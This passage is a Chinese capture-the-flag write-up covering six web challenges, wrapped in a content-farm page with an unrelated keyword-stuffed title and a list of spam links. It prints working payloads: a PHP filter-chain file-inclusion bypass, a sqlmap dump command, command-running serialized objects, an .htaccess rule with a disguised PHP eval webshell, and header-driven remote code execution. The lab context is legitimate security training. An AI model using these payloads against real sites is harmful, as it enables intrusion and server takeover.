当前位置: 首页 > news >正文

游戏网站用户建设需求综合查询

游戏网站用户建设需求,综合查询,武汉小程序网站开发,做网站多少钱目录 ①游戏高手 ②include 0。0 ③ez_sql ④Unserialize? ⑤Upload again! ⑥ R!!C!!E!! ①游戏高手 经典前端js小游戏 检索与分数相关的变量 控制台直接修改分数拿到flag ②include 0。0 禁了base64和rot13 尝试过包含/var/log/apache/access.log,ph…

目录

①游戏高手

②include 0。0 

③ez_sql

④Unserialize? 

⑤Upload again!

⑥ R!!C!!E!!


①游戏高手

经典前端js小游戏

检索与分数相关的变量 

 

 控制台直接修改分数拿到flag

②include 0。0 

禁了base64和rot13 

尝试过包含/var/log/apache/access.log,php://input和data://均不行

没法子,只能上网检索别的过滤器了

payload

?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

③ez_sql

在url发现注入点

 

sqlmap梭了 

python sqlmap.py -u "http://946dccab-ab98-4042-9583-64c9f46eaf8f.node4.buuoj.cn:81/?id=TMP0919" -D ctf -T here_is_flag -C flag --dump

 

④Unserialize? 

构造:

<?phpclass evil {private $cmd = 'ls /';
}
$a = new evil();
echo (serialize($a));

不可见字符用%00代替 

payload:

unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:4:"ls /";}
unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:33:"nl /th1s_1s_fffflllll4444aaaggggg";}

⑤Upload again!

经过尝试不能上传php文件(后缀检测绕不过) 

随便输一段报错发现是apache

上传.htaccess

#define width 100;
#define height 100;
SetHandler application/x-httpd-php

上传yjh.png

GIF89a
<script language="php">eval($_POST[1]);</script>

 回显路径,访问连蚁剑即可

 

 

⑥ R!!C!!E!!

进来先让信息搜集

盲测/.git/,报Forbidden,说明是.git源码泄露

 一眼无参rce,过滤了一些东西

先打打看

/bo0g1pop.php?star=print_r(getallheaders());

回显

发现UA在第二个

payload:

/bo0g1pop.php?star=eval(next(getallheaders()));

 改UA即可

 

http://www.dinnco.com/news/64001.html

相关文章:

  • 开源程序做网站防疫测温健康码核验一体机
  • 传媒公司制作网站甘肃百度推广电话
  • 电商网站开发成本免费建立个人网站申请
  • io游戏网站成都百度业务员电话
  • 做网站傻瓜seo专员简历
  • 制作网站建设常见的网络营销平台有哪些
  • 高端网站建设 房产seo霸屏软件
  • 北京网站ui设计公司百度推广账号登陆入口
  • 网站主页设计素材抖音营销推广怎么做
  • sns社交网站建设百度公司总部
  • oa系统是什么意思啊优化推广排名网站教程
  • 心理测评做测试的网站产品推广软文500字
  • 开o2o网站需要什么手续黄冈网站推广厂家
  • 如何建立收费视频网站外链图片
  • 有域名如何做网站启信聚客通网络营销策划
  • 高新网站制作哪家好深圳百度百科
  • wordpress用户排行合肥百度搜索优化
  • 辽宁省工程造价信息网漯河网站seo
  • 百度百科让做网站的超链接吗网络推广的方式有哪些?
  • 专业做俄语网站建设域名注册需要什么条件
  • 华为云自助建站靠谱吗流量精灵app
  • 南宁市网站建设哪家好宁德市房价
  • 合肥网站设计seo常用的工具
  • 邢台做网站企业线上推广平台报价
  • 做gif动图的网站犯法吗汕头seo推广外包
  • 厦门做网站xm37佛山网站营销推广
  • 梅州网站建设公司全国人大常委会副委员长
  • 北京三原色ps网站百度指数查询手机版
  • 电子商务网站建设外包服务的企业推广平台有哪些?
  • 中国宣布进入战时状态会怎样广州seo网站排名